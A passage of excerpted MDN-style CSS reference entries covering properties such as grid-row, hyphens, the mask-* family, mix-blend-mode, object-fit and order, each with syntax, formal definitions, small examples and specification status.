...rder-radius: 5px; background-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px; background-color: #ffd8a8; padding: 1em; color: #d9480f; } .nested { border: 2px solid #ffec99; border-radius: 5px; background-color: #fff9db; padding: 1em; } result specifications specification status comment css grid layoutthe definition of 'grid-row-start' in that specification.
... candidate recommendation initial definition ...
grid-row - CSS: Cascading Style Sheets
WebCSSgrid-row
rgridarea; /* <integer> + <custom-ident> values */ grid-row: somegridarea 4; grid-row: 4 somegridarea / 6; /* span + <integer> + <custom-ident> values */ grid-row: span 3; grid-row: span somegridarea; grid-row: 5 somegridarea span; grid-row: span 3 / 6; grid-row: span somegridarea / span someothergridarea; grid-row: 5 somegridarea span / 2 span; /* global values */ grid-row: inherit; grid-row: initial; grid-row: unset; values auto is a keyword indicating that the property contributes nothing to the grid item’s placement, indicating auto-placement, an automatic span, or a default span of 1.
... formal definition initial valueas each of the properties of the shorthand:grid-row-start: autogrid-row-end: autoapplies togrid items and absolutely-positioned boxes whose containing block is a grid containerinheritednocomputed valueas each of the properties of the shorthand:grid-row-start: as specifiedgrid-row-end: as specifiedanimation typediscrete formal syntax <grid-line> [ / <grid-line> ]?where <grid-lin...
...</div> </div> css #grid { display: grid; height: 200px; grid-template-columns: 200px; grid-template-rows: repeat(6, 1fr); } #item1 { background-color: lime; } #item2 { background-color: yellow; grid-row: 2 / 4; } #item3 { background-color: blue; grid-row: span 2 / 7; } result specifications specification status comment css grid layoutthe definition of 'grid-row' in that specification.
... candidate recommendation initial definition ...
grid-template-areas - CSS: Cascading Style Sheets
syntax /* keyword value */ grid-template-areas: none; /* <string> values */ grid-template-areas: "a b"; grid-template-areas: "a b b" "a c d"; /* global values */ grid-template-areas: inherit; grid-template-areas: initial; grid-template-areas: unset; values none the grid container doesn’t define any named grid areas.
... formal definition initial valuenoneapplies togrid containersinheritednocomputed valueas specifiedanimation typediscrete formal syntax none | <string>+ examples specifying named grid areas html <section id="page"> <header>header</header> <nav>navigation</nav> <main>main area</main> <footer>footer</footer> </section> css #page { display: grid; width: 100%; height: 250px; grid-template-areas: "head head" "nav main" "nav fo...
...late-columns: 150px 1fr; } #page > header { grid-area: head; background-color: #8ca0ff; } #page > nav { grid-area: nav; background-color: #ffa08c; } #page > main { grid-area: main; background-color: #ffff64; } #page > footer { grid-area: foot; background-color: #8cffa0; } result specifications specification status comment css grid layoutthe definition of 'grid-template-areas' in that specification.
... candidate recommendation initial definition ...
hanging-punctuation - CSS: Cascading Style Sheets
tion: allow-end; /* two keywords */ hanging-punctuation: first force-end; hanging-punctuation: first allow-end; hanging-punctuation: first last; hanging-punctuation: last force-end; hanging-punctuation: last allow-end; /* three keywords */ hanging-punctuation: first force-end last; hanging-punctuation: first allow-end last; /* global values */ hanging-punctuation: inherit; hanging-punctuation: initial; hanging-punctuation: unset; syntax the hanging-punctuation property may be specified with one, two, or three values.
... formal definition initial valuenoneapplies toall elementsinheritedyescomputed valueas specifiedanimation typediscrete formal syntax none | [ first | [ force-end | allow-end ] | last ] examples setting opening and closing quotes to hang html <p>“lorem ipsum dolor sit amet, consectetur adipiscing elit.
...praesent laoreet tortor massa, sit amet vulputate nulla pharetra ut.”</p> css p { hanging-punctuation: first last; margin: .5rem; } result specifications specification status comment css text module level 3the definition of 'hanging-punctuation' in that specification.
... working draft initial definition ...
hyphens - CSS: Cascading Style Sheets
WebCSShyphens
syntax /* keyword values */ hyphens: none; hyphens: manual; hyphens: auto; /* global values */ hyphens: inherit; hyphens: initial; hyphens: unset; the hyphens property is specified as a single keyword value chosen from the list below.
... formal definition initial valuemanualapplies toall elementsinheritedyescomputed valueas specifiedanimation typediscrete formal syntax none | manual | auto examples specifying text hyphenation this example uses three classes, one for each possible configuration of the hyphens property.
...dd { width: 55px; border: 1px solid black; } dd.none { -webkit-hyphens: none; -ms-hyphens: none; hyphens: none; } dd.manual { -webkit-hyphens: manual; -ms-hyphens: manual; hyphens: manual; } dd.auto { -webkit-hyphens: auto; -ms-hyphens: auto; hyphens: auto; } result specifications specification status comment css text module level 3the definition of 'hyphens' in that specification.
... working draft initial definition ...
image-rendering - CSS: Cascading Style Sheets
syntax /* keyword values */ image-rendering: auto; image-rendering: crisp-edges; image-rendering: pixelated; /* global values */ image-rendering: inherit; image-rendering: initial; image-rendering: unset; values auto the scaling algorithm is ua dependent.
... formal definition initial valueautoapplies toall elementsinheritedyescomputed valueas specifiedanimation typediscrete formal syntax auto | crisp-edges | pixelated examples setting image scaling algorithms in practical use, the pixelated and crisp-edges rules can be combined to provide some fallback for each other.
...edd397be3.jpg" /> </div> img { height: 200px; } css .auto { image-rendering: auto; } .pixelated { -ms-interpolation-mode: nearest-neighbor; image-rendering: pixelated; } .crisp-edges { image-rendering: -webkit-optimize-contrast; image-rendering: crisp-edges; } result specifications specification status comment css images module level 3the definition of 'image-rendering' in that specification.
... candidate recommendation initial definition.
inset-inline-end - CSS: Cascading Style Sheets
/* <length> values */ inset-inline-end: 3px; inset-inline-end: 2.4em; /* <percentage>s of the width or height of the containing block */ inset-inline-end: 10%; /* keyword value */ inset-inline-end: auto; /* global values */ inset-inline-end: inherit; inset-inline-end: initial; inset-inline-end: unset; the shorthand for inset-inline-start and inset-inline-end is inset-inline.
... formal definition initial valueautoapplies topositioned elementsinheritednopercentageslogical-width of containing blockcomputed valuesame as box offsets: top, right, bottom, left properties except that directions are logicalanimation typea length, percentage or calc(); formal syntax <'top'> examples setting inline end offset html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-rl; position: relative; inset-inline-end: 20px; background-color: #c8c800; } result specifications specification status comment css logical properties and values...
... level 1the definition of 'inset-inline-end' in that specification.
... editor's draft initial definition ...
inset-inline-start - CSS: Cascading Style Sheets
/* <length> values */ inset-inline-start: 3px; inset-inline-start: 2.4em; /* <percentage>s of the width or height of the containing block */ inset-inline-start: 10%; /* keyword value */ inset-inline-start: auto; /* global values */ inset-inline-start: inherit; inset-inline-start: initial; inset-inline-start: unset; the shorthand for inset-inline-start and inset-inline-end is inset-inline.
... formal definition initial valueautoapplies topositioned elementsinheritednopercentageslogical-width of containing blockcomputed valuesame as box offsets: top, right, bottom, left properties except that directions are logicalanimation typea length, percentage or calc(); formal syntax <'top'> examples setting inline start offset html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; position: relative; inset-inline-start: 20px; background-color: #c8c800; } result specifications specification status comment css logical properties and...
... values level 1the definition of 'inset-inline-start' in that specification.
... editor's draft initial definition ...
isolation - CSS: Cascading Style Sheets
WebCSSisolation
syntax /* keyword values */ isolation: auto; isolation: isolate; /* global values */ isolation: inherit; isolation: initial; isolation: unset; the isolation property is specified as one of the keyword values listed below.
... formal definition initial valueautoapplies toall elements.
...div> </div> </div> css .a { background-color: rgb(0,255,0); } #b { width: 200px; height: 210px; } .c { width: 100px; height: 100px; border: 1px solid black; padding: 2px; mix-blend-mode: difference; } #d { isolation: auto; } #e { isolation: isolate; } result specifications specification status comment compositing and blending level 1the definition of 'isolation' in that specification.
... candidate recommendation initial definition ...
line-break - CSS: Cascading Style Sheets
/* keyword values */ line-break: auto; line-break: loose; line-break: normal; line-break: strict; line-break: anywhere; /* global values */ line-break: inherit; line-break: initial; line-break: unset; syntax values auto break text using the default line break rule.
... formal definition initial valueautoapplies toall elementsinheritedyescomputed valueas specifiedanimation typediscrete formal syntax auto | loose | normal | strict | anywhere examples setting text wrapping see whether the text is wrapped before "々", "ぁ" and "。".
...��</p> </div> css .wrapbox { width: 10em; margin: 0.5em; white-space: normal; vertical-align: top; display: inline-block; } .auto { line-break: auto; } .loose { line-break: loose; } .normal { line-break: normal; } .strict { line-break: strict; } .anywhere { line-break: anywhere; } result specifications specification status comment css text module level 3the definition of 'line-break' in that specification.
... working draft initial definition ...
linear-gradient() - CSS: Cascading Style Sheets
these somewhat complex definitions lead to an interesting effect sometimes called magic corners: the corners nearest to the starting and ending points have the same color as their respective starting or ending points.
... specifications specification status comment css images module level 4the definition of 'gradient color-stops' in that specification.
... css images module level 3the definition of 'linear-gradient()' in that specification.
... candidate recommendation initial definition.
list-style-image - CSS: Cascading Style Sheets
syntax /* keyword values */ list-style-image: none; /* <url> values */ list-style-image: url('starsolid.gif'); /* global values */ list-style-image: inherit; list-style-image: initial; list-style-image: unset; values <url> location of image to use as the marker.
... formal definition initial valuenoneapplies tolist itemsinheritedyescomputed valuenone or the image with its uri made absoluteanimation typediscrete formal syntax <url> | none examples setting list item images html <ul> <li>item 1</li> <li>item 2</li> </ul> css ul { list-style-image: url("https://mdn.mozillademos.org/files/11981/starsolid.gif"); } result specifications specification status comment css lists module level 3the definition of 'list-style-image' in that specification.
... css level 2 (revision 1)the definition of 'list-style-image' in that specification.
... recommendation initial definition ...
margin-block-end - CSS: Cascading Style Sheets
syntax /* <length> values */ margin-block-end: 10px; /* an absolute length */ margin-block-end: 1em; /* relative to the text size */ margin-block-end: 5%; /* relative to the nearest block container's width */ /* keyword values */ margin-block-end: auto; /* global values */ margin-block-end: inherit; margin-block-end: initial; margin-block-end: unset; it corresponds to the margin-top, margin-right, margin-bottom, or margin-left property depending on the values defined for writing-mode, direction, and text-orientation.
... formal definition initial value0applies tosame as margininheritednopercentagesdepends on layout modelcomputed valueif specified as a length, the corresponding absolute length; if specified as a percentage, the specified value; otherwise, autoanimation typea length formal syntax <'margin-left'> examples setting block end margin html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-rl; margin-block-end: 20px; background-color: #c8c800; } result s...
...pecifications specification status comment css logical properties and values level 1the definition of 'margin-block-end' in that specification.
... editor's draft initial definition ...
margin-block-start - CSS: Cascading Style Sheets
syntax /* <length> values */ margin-block-start: 10px; /* an absolute length */ margin-block-start: 1em; /* relative to the text size */ margin-block-start: 5%; /* relative to the nearest block container's width */ /* keyword values */ margin-block-start: auto; /* global values */ margin-block-start: inherit; margin-block-start: initial; margin-block-start: unset; it corresponds to the margin-top, margin-right, margin-bottom, or margin-left property depending on the values defined for writing-mode, direction, and text-orientation.
... formal definition initial value0applies tosame as margininheritednopercentagesdepends on layout modelcomputed valueif specified as a length, the corresponding absolute length; if specified as a percentage, the specified value; otherwise, autoanimation typea length formal syntax <'margin-left'> examples setting block start margin html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; margin-block-start: 20px; background-color: #c8c800; } result ...
... specifications specification status comment css logical properties and values level 1the definition of 'margin-block-start' in that specification.
... editor's draft initial definition ...
margin-block - CSS: Cascading Style Sheets
/* <length> values */ margin-block: 10px 20px; /* an absolute length */ margin-block: 1em 2em; /* relative to the text size */ margin-block: 5% 2%; /* relative to the nearest block container's width */ margin-block: 10px; /* sets both start and end values */ /* keyword values */ margin-block: auto; /* global values */ margin-block: inherit; margin-block: initial; margin-block: unset; these values corresponds to the margin-top and margin-bottom, or margin-right, and margin-left property depending on the values defined for writing-mode, direction, and text-orientation.
... formal definition initial value0applies tosame as margininheritednopercentagesdepends on layout modelcomputed valueif specified as a length, the corresponding absolute length; if specified as a percentage, the specified value; otherwise, autoanimation typediscrete formal syntax <'margin-left'>{1,2} examples setting block start and end margins html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-rl; margin-block: 20px 40px; background-color:...
... #c8c800; } result specifications specification status comment css logical properties and values level 1the definition of 'margin-block' in that specification.
... editor's draft initial definition.
mask-border-mode - CSS: Cascading Style Sheets
syntax /* keyword values */ mask-border-mode: luminance; mask-border-mode: alpha; /* global values */ mask-border-mode: inherit; mask-border-mode: initial; mask-border-mode: unset; values luminance the luminance values of the mask border image are used as the mask values.
... formal definition initial valuealphaapplies toall elements; in svg, it applies to container elements excluding the defs element and all graphics elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax luminance | alpha examples basic usage this property doesn't yet seem to have support anywhere.
... when browsers support it, it will specify the type of blending mode used for the mask border — luminance or alpha: mask-border-mode: luminance; mask-border-mode: alpha; specifications specification status comment css masking module level 1the definition of 'mask-border-mode' in that specification.
... candidate recommendation initial definition ...
mask-border-outset - CSS: Cascading Style Sheets
syntax /* <length> value */ mask-border-outset: 1rem; /* <number> value */ mask-border-outset: 1.5; /* vertical | horizontal */ mask-border-outset: 1 1.2; /* top | horizontal | bottom */ mask-border-outset: 30px 2 45px; /* top | right | bottom | left */ mask-border-outset: 7px 12px 14px 5px; /* global values */ mask-border-outset: inherit; mask-border-outset: initial; mask-border-outset: unset; the mask-border-outset property may be specified as one, two, three, or four values.
... formal definition initial value0applies toall elements; in svg, it applies to container elements excluding the defs element and all graphics elementsinheritednocomputed valueas specified, but with relative lengths converted into absolute lengthsanimation typediscrete formal syntax [ <length> | <number> ]{1,4} examples basic usage this property doesn't appear to be supported anywhere yet.
... specifications specification status comment css masking module level 1the definition of 'mask-border-outset' in that specification.
... candidate recommendation initial definition ...
mask-border-repeat - CSS: Cascading Style Sheets
syntax /* keyword value */ mask-border-repeat: stretch; mask-border-repeat: repeat; mask-border-repeat: round; mask-border-repeat: space; /* vertical | horizontal */ mask-border-repeat: round stretch; /* global values */ mask-border-repeat: inherit; mask-border-repeat: initial; mask-border-repeat: unset; the mask-border-repeat property may be specified using one or two values chosen from the list of values below.
... formal definition initial valuestretchapplies toall elements; in svg, it applies to container elements excluding the defs element and all graphics elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax [ stretch | repeat | round | space ]{1,2} examples basic usage this property doesn't appear to be supported anywhere yet.
... specifications specification status comment css masking module level 1the definition of 'mask-border-repeat' in that specification.
... candidate recommendation initial definition ...
mask-border-slice - CSS: Cascading Style Sheets
syntax /* all sides */ mask-border-slice: 30%; /* vertical | horizontal */ mask-border-slice: 10% 30%; /* top | horizontal | bottom */ mask-border-slice: 30 30% 45; /* top | right | bottom | left */ mask-border-slice: 7 12 14 5; /* using the `fill` keyword */ mask-border-slice: 10% fill 7 12; /* global values */ mask-border-slice: inherit; mask-border-slice: initial; mask-border-slice: unset; the mask-border-slice property may be specified using one to four <number-percentage> values to represent the position of each image slice.
... formal definition initial value0applies toall elements; in svg, it applies to container elements excluding the defs element and all graphics elementsinheritednopercentagesrefer to size of the mask border imagecomputed valueas specifiedanimation typediscrete formal syntax <number-percentage>{1,4} fill?where <number-percentage> = <number> | <percentage> examples basic usage this property doesn't appear to b...
... specifications specification status comment css masking module level 1the definition of 'mask-border-slice' in that specification.
... candidate recommendation initial defintion ...
mask-border-source - CSS: Cascading Style Sheets
syntax /* keyword value */ mask-border-source: none; /* <image> values */ mask-border-source: url(image.jpg); mask-border-source: linear-gradient(to top, red, yellow); /* global values */ mask-border-source: inherit; mask-border-source: initial; mask-border-source: unset; values none no mask border is used.
... formal definition initial valuenoneapplies toall elements; in svg, it applies to container elements excluding the defs element and all graphics elementsinheritednocomputed valueas specified, but with <url> values made absoluteanimation typediscrete formal syntax none | <image>where <image> = <url> | <image()> | <image-set()> | <element()> | <paint()> | <cross-fade()> | <gradient>where <image()> = image( <image-tags>?
... specifications specification status comment css masking module level 1the definition of 'mask-border-source' in that specification.
... candidate recommendation initial definition ...
mask-border-width - CSS: Cascading Style Sheets
/* <length> value */ mask-border-width: 1rem; /* <percentage> value */ mask-border-width: 25%; /* <number> value */ mask-border-width: 3; /* vertical | horizontal */ mask-border-width: 2em 3em; /* top | horizontal | bottom */ mask-border-width: 5% 15% 10%; /* top | right | bottom | left */ mask-border-width: 5% 2em 10% auto; /* global values */ mask-border-width: inherit; mask-border-width: initial; mask-border-width: unset; the mask-border-width property may be specified using one, two, three, or four values chosen from the list of values below.
... formal definition initial valueautoapplies toall elements; in svg, it applies to container elements excluding the defs element and all graphics elementsinheritednopercentagesrelative to width/height of the mask border image areacomputed valueas specified, but with relative lengths converted into absolute lengthsanimation typediscrete formal syntax [ <length-percentage> | <number> | auto ]{1,4}where <length-p...
... specifications specification status comment css masking module level 1the definition of 'mask-border-width' in that specification.
... candidate recommendation initial definition ...
mask-clip - CSS: Cascading Style Sheets
WebCSSmask-clip
ask-clip: fill-box; mask-clip: stroke-box; mask-clip: view-box; /* keyword values */ mask-clip: no-clip; /* non-standard keyword values */ -webkit-mask-clip: border; -webkit-mask-clip: padding; -webkit-mask-clip: content; -webkit-mask-clip: text; /* multiple values */ mask-clip: padding-box, no-clip; mask-clip: view-box, fill-box, border-box; /* global values */ mask-clip: inherit; mask-clip: initial; mask-clip: unset; syntax one or more of the keyword values listed below, separated by commas.
... formal definition initial valueborder-boxapplies toall elements; in svg, it applies to container elements excluding the defs element and all graphics elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax [ <geometry-box> | no-clip ]#where <geometry-box> = <shape-box> | fill-box | stroke-box | view-boxwhere <shape-box> = <box> | margin-boxwhere <box> = border-box | padding-box | co...
...n value="view-box">view-box</option> <option value="no-clip">no-clip</option> </select> javascript var clipbox = document.getelementbyid("clipbox"); clipbox.addeventlistener("change", function (evt) { document.getelementbyid("masked").style.maskclip = evt.target.value; }); result specifications specification status comment css masking module level 1the definition of 'mask-clip' in that specification.
... candidate recommendation initial definition ...
mask-composite - CSS: Cascading Style Sheets
/* keyword values */ mask-composite: add; mask-composite: subtract; mask-composite: intersect; mask-composite: exclude; /* global values */ mask-composite: inherit; mask-composite: initial; mask-composite: unset; syntax one or more of the keyword values listed below, separated by commas.
... formal definition initial valueaddapplies toall elements; in svg, it applies to container elements excluding the defs element and all graphics elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax <compositing-operator>#where <compositing-operator> = add | subtract | intersect | exclude examples compositing mask layers with addition css #masked { width: 100px; height: 100p...
...rsect">intersect</option> <option value="exclude">exclude</option> </select> javascript var clipbox = document.getelementbyid("compositemode"); clipbox.addeventlistener("change", function (evt) { document.getelementbyid("masked").style.maskcomposite = evt.target.value; }); result specifications specification status comment css masking module level 1the definition of 'mask-composite' in that specification.
... candidate recommendation initial definition ...
mask-image - CSS: Cascading Style Sheets
/* keyword value */ mask-image: none; /* <mask-source> value */ mask-image: url(masks.svg#mask1); /* <image> values */ mask-image: linear-gradient(rgba(0, 0, 0, 1.0), transparent); mask-image: image(url(mask.png), skyblue); /* multiple values */ mask-image: image(url(mask.png), skyblue), linear-gradient(rgba(0, 0, 0, 1.0), transparent); /* global values */ mask-image: inherit; mask-image: initial; mask-image: unset; syntax values none this keyword is interpreted as a transparent black image layer.
... formal definition initial valuenoneapplies toall elements; in svg, it applies to container elements excluding the defs element and all graphics elementsinheritednocomputed valueas specified, but with <url> values made absoluteanimation typediscrete formal syntax <mask-reference>#where <mask-reference> = none | <image> | <mask-source>where <image> = <url> | <image()> | <image-set()> | <element()> | <paint()> | <cross-fade()> | <gradient><mask-source> = <url>where <image()> = image( <image-tags>?
...a mask image with a url html <div id="masked"></div> css #masked { width: 100px; height: 100px; background-color: #8cffa0; -webkit-mask-image: url(https://mdn.mozillademos.org/files/12676/star.svg); mask-image: url(https://mdn.mozillademos.org/files/12676/star.svg); } result specifications specification status comment css masking module level 1the definition of 'mask-image' in that specification.
... candidate recommendation initial definition ...
mask-mode - CSS: Cascading Style Sheets
WebCSSmask-mode
/* keyword values */ mask-mode: alpha; mask-mode: luminance; mask-mode: match-source; /* multiple values */ mask-mode: alpha, match-source; /* global values */ mask-mode: inherit; mask-mode: initial; mask-mode: unset; syntax the mask-mode property is specified as one or more of the keyword values listed below, separated by commas.
... formal definition initial valuematch-sourceapplies toall elements; in svg, it applies to container elements excluding the defs element and all graphics elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax <masking-mode>#where <masking-mode> = alpha | luminance | match-source examples using alpha mask mode css #masked { width: 227px; height: 200px; background: blue linear...
...nce">luminance</option> <option value="match-source">match-source</option> </select> javascript var maskmode = document.getelementbyid("maskmode"); maskmode.addeventlistener("change", function (evt) { document.getelementbyid("masked").style.maskmode = evt.target.value; }); result specifications specification status comment css masking module level 1the definition of 'mask-mode' in that specification.
... candidate recommendation initial definition ...
mask-origin - CSS: Cascading Style Sheets
gin: border-box; mask-origin: margin-box; mask-origin: fill-box; mask-origin: stroke-box; mask-origin: view-box; /* multiple values */ mask-origin: padding-box, content-box; mask-origin: view-box, fill-box, border-box; /* non-standard keyword values */ -webkit-mask-origin: content; -webkit-mask-origin: padding; -webkit-mask-origin: border; /* global values */ mask-origin: inherit; mask-origin: initial; mask-origin: unset; for elements rendered as a single box, this property specifies the mask positioning area.
... formal definition initial valueborder-boxapplies toall elements; in svg, it applies to container elements excluding the defs element and all graphics elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax <geometry-box>#where <geometry-box> = <shape-box> | fill-box | stroke-box | view-boxwhere <shape-box> = <box> | margin-boxwhere <box> = border-box | padding-box | content-box exa...
...ue="stroke-box">stroke-box</option> <option value="view-box">view-box</option> </select> javascript var origin = document.getelementbyid("origin"); origin.addeventlistener("change", function (evt) { document.getelementbyid("masked").style.maskorigin = evt.target.value; }); result specifications specification status comment css masking module level 1the definition of 'mask-origin' in that specification.
... candidate recommendation initial definition ...
mask-repeat - CSS: Cascading Style Sheets
k-repeat: repeat; mask-repeat: space; mask-repeat: round; mask-repeat: no-repeat; /* two-value syntax: horizontal | vertical */ mask-repeat: repeat space; mask-repeat: repeat repeat; mask-repeat: round space; mask-repeat: no-repeat round; /* multiple values */ mask-repeat: space round, no-repeat; mask-repeat: round repeat, space, repeat-x; /* global values */ mask-repeat: inherit; mask-repeat: initial; mask-repeat: unset; by default, the repeated images are clipped to the size of the element, but they can be scaled to fit (using round) or evenly distributed from end to end (using space).
... formal definition initial valueno-repeatapplies toall elements; in svg, it applies to container elements excluding the defs element and all graphics elementsinheritednocomputed valueconsists of two keywords, one per dimensionanimation typediscrete formal syntax <repeat-style>#where <repeat-style> = repeat-x | repeat-y | [ repeat | space | round | no-repeat ]{1,2} examples setting repeat for a single mask c...
... specifications specification status comment css masking module level 1the definition of 'mask-repeat' in that specification.
... candidate recommendation initial definition ...
mask-size - CSS: Cascading Style Sheets
WebCSSmask-size
: 12px; mask-size: auto; /* two-value syntax */ /* first value: width of the image, second value: height */ mask-size: 50% auto; mask-size: 3em 25%; mask-size: auto 6px; mask-size: auto auto; /* multiple values */ /* do not confuse this with mask-size: auto auto */ mask-size: auto, auto; mask-size: 50%, 25%, 25%; mask-size: 6px, auto, contain; /* global values */ mask-size: inherit; mask-size: initial; mask-size: unset; note: if the value of this property is not set in a mask shorthand property that is applied to the element after the mask-size css property, the value of this property is then reset to its initial value by the shorthand property.
... formal definition initial valueautoapplies toall elements; in svg, it applies to container elements excluding the defs element and all graphics elementsinheritednocomputed valueas specified, but with relative lengths converted into absolute lengthsanimation typerepeatable list of simple list of length, percentage, or calc formal syntax <bg-size>#where <bg-size> = [ <length-percentage> | auto ]{1,2} | cover |...
...tion value="cover">cover</option> <option value="contain">contain</option> </select> javascript var masksize = document.getelementbyid("masksize"); masksize.addeventlistener("change", function (evt) { document.getelementbyid("masked").style.masksize = evt.target.value; }); result specifications specification status comment css masking module level 1the definition of 'mask-size' in that specification.
... candidate recommendation initial definition ...
mask-type - CSS: Cascading Style Sheets
WebCSSmask-type
/* keyword values */ mask-type: luminance; mask-type: alpha; /* global values */ mask-type: inherit; mask-type: initial; mask-type: unset; this property may be overridden by the mask-mode property, which has the same effect but applies to the element where the mask is used.
... formal definition initial valueluminanceapplies to<mask> elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax luminance | alpha examples setting an alpha mask html <div class="redsquare"></div> <svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="0" height="0"> <defs> <mask id="m" maskcontentunits="objectboundingbox...
... <rect x=".1" y=".1" width=".8" height=".8" fill="red" fill-opacity="0.7"/> </mask> </defs> </svg> css .redsquare { height: 100px; width: 100px; background-color: rgb(128, 128, 128); border: solid 1px black; mask: url("#m"); mask-type:luminance; } result specifications specification status comment css masking module level 1the definition of 'mask-type' in that specification.
... candidate recommendation initial definition.
max-block-size - CSS: Cascading Style Sheets
syntax /* <length> values */ max-block-size: 300px; max-block-size: 25em; /* <percentage> values */ max-block-size: 75%; /* keyword values */ max-block-size: auto; max-block-size: max-content; max-block-size: min-content; max-block-size: fit-content(20em); /* global values */ max-block-size: inherit; max-block-size: initial; max-block-size: unset; values the max-block-size property's value can be any value that's legal for the max-width and max-height properties: <length> defines the max-width as an absolute value.
... formal definition initial value0applies tosame as width and heightinheritednopercentagesblock-size of containing blockcomputed valuesame as max-width and max-heightanimation typea length, percentage or calc(); formal syntax <'max-width'> examples setting max-block-size with horizontal and vertical text in this example, the same text (the opening sentences from herman melville's novel moby-dick) is present...
... { padding: 4px; background-color: #abcdef; color: #000; font: 16px "open sans", "helvetica", "arial", sans-serif; max-block-size: 160px; min-block-size: 100px; } .horizontal { writing-mode: horizontal-tb; } .vertical { writing-mode: vertical-rl; } result specifications specification status comment css logical properties and values level 1the definition of 'max-block-size' in that specification.
... editor's draft initial definition ...
mix-blend-mode - CSS: Cascading Style Sheets
-blend-mode: screen; mix-blend-mode: overlay; mix-blend-mode: darken; mix-blend-mode: lighten; mix-blend-mode: color-dodge; mix-blend-mode: color-burn; mix-blend-mode: hard-light; mix-blend-mode: soft-light; mix-blend-mode: difference; mix-blend-mode: exclusion; mix-blend-mode: hue; mix-blend-mode: saturation; mix-blend-mode: color; mix-blend-mode: luminosity; /* global values */ mix-blend-mode: initial; mix-blend-mode: inherit; mix-blend-mode: unset; values <blend-mode> the blending mode that should be applied.
... formal definition initial valuenormalapplies toall elementsinheritednocomputed valueas specifiedanimation typediscretecreates stacking contextyes formal syntax <blend-mode>where <blend-mode> = normal | multiply | screen | overlay | darken | lighten | color-dodge | color-burn | hard-light | soft-light | difference | exclusion | hue | saturation | color | luminosity examples effect of different mix-blend-mode values <div class="grid"> <div class="col"> <div class="note">blending in isolation (no blending with the background)</div> <div class="row isolate"> <div class="cell"> normal <div class="container normal"> <div class="group"> <div class="item firefox"></div> <svg viewbox="0 0 150 150"> <defs> ...
...ll="red"/> <circle cx="80" cy="40" r="40" fill="lightgreen"/> <circle cx="60" cy="80" r="40" fill="blue"/> </g> </svg> css circle { mix-blend-mode: screen; } .isolate { isolation: isolate; } /* without isolation, the background color will be taken into account */ result specifications specification status comment compositing and blending level 1the definition of 'mix-blend-mode' in that specification.
... candidate recommendation initial definition browser compatibility the compatibility table in this page is generated from structured data.
object-fit - CSS: Cascading Style Sheets
formal definition initial valuefillapplies toreplaced elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax fill | contain | cover | none | scale-down examples setting object-fit for an image html <section> <h2>object-fit: fill</h2> <img class="fill" src="https://udn.realityripple.com/samples/ae/248a9938d9.png" alt="mdn logo"> <img class="fill narrow" src="https://udn.r...
...eight: 100px; border: 1px solid #000; } .narrow { width: 100px; height: 150px; margin-top: 10px; } .fill { object-fit: fill; } .contain { object-fit: contain; } .cover { object-fit: cover; } .none { object-fit: none; } .scale-down { object-fit: scale-down; } result specifications specification status comment css images module level 4the definition of 'object-fit' in that specification.
... working draft css images module level 3the definition of 'object-fit' in that specification.
... candidate recommendation initial definition browser compatibility the compatibility table on this page is generated from structured data.
object-position - CSS: Cascading Style Sheets
syntax /* <position> values */ object-position: center top; object-position: 100px 50px; /* global values */ object-position: inherit; object-position: initial; object-position: unset; values <position> from one to four values that define the 2d position of the element.
... formal definition initial value50% 50%applies toreplaced elementsinheritedyespercentagesrefer to width and height of element itselfcomputed valueas specifiedanimation typerepeatable list of simple list of length, percentage, or calc formal syntax <position>where <position> = [ [ left | center | right ] | [ top | center | bottom ] | [ left | center | right | <length-percentage> ] [ top | center | bottom | <length-percentage> ]?
... result specifications specification status comment css images module level 3the definition of 'object-position' in that specification.
... candidate recommendation initial definition.
opacity - CSS: Cascading Style Sheets
WebCSSopacity
webaim: color contrast checker mdn understanding wcag, guideline 1.4 explanations understanding success criterion 1.4.3 | w3c understanding wcag 2.0 formal definition initial value1.0applies toall elementsinheritednocomputed valuethe specified value, clipped in the range [0,1]animation typea number formal syntax <alpha-value>where <alpha-value> = <number> | <percentage> examples setting background opacity html <div class="light">you can barely see this.</div> <div class="medium">this is easier to see.</div> <div class="heavy">this is very easy to see...
... alt="mdn logo" width="128" height="146" class="opacity"> css img.opacity { opacity: 1; filter: alpha(opacity=100); /* ie8 and lower */ zoom: 1; /* triggers "haslayout" in ie 7 and lower */ } img.opacity:hover { opacity: 0.5; filter: alpha(opacity=50); zoom: 1; } result specifications specification status comment css color module level 4the definition of 'opacity' in that specification.
... css color module level 3the definition of 'opacity' in that specification.
... recommendation initial definition ...
order - CSS: Cascading Style Sheets
WebCSSorder
syntax /* <integer> values */ order: 5; order: -5; /* global values */ order: inherit; order: initial; order: unset; since order is only meant to affect the visual order of elements and not their logical or tab order.
... flexbox & the keyboard navigation disconnect — tink source order matters | adrian roselli mdn understanding wcag, guideline 1.3 explanations understanding success criterion 1.3.2 | w3c understanding wcag 2.0 formal definition initial value0applies toflex items and absolutely-positioned flex container childreninheritednocomputed valueas specifiedanimation typean integer formal syntax <integer> examples ordering items in a flex container this example uses css to create a classic two-sidebar layout surrounding a content block.
... <article>article</article> <nav>nav</nav> <aside>aside</aside> </main> <footer>...</footer> css main { display: flex; text-align:center; } main > article { flex:1; order: 2; } main > nav { width: 200px; order: 1; } main > aside { width: 200px; order: 3; } result specifications specification status comment css flexible box layout modulethe definition of 'order' in that specification.
... candidate recommendation initial definition initial value0applies toflex items and absolutely-positioned flex container childreninheritednocomputed valueas specifiedanimation typean integer ...
outline-offset - CSS: Cascading Style Sheets
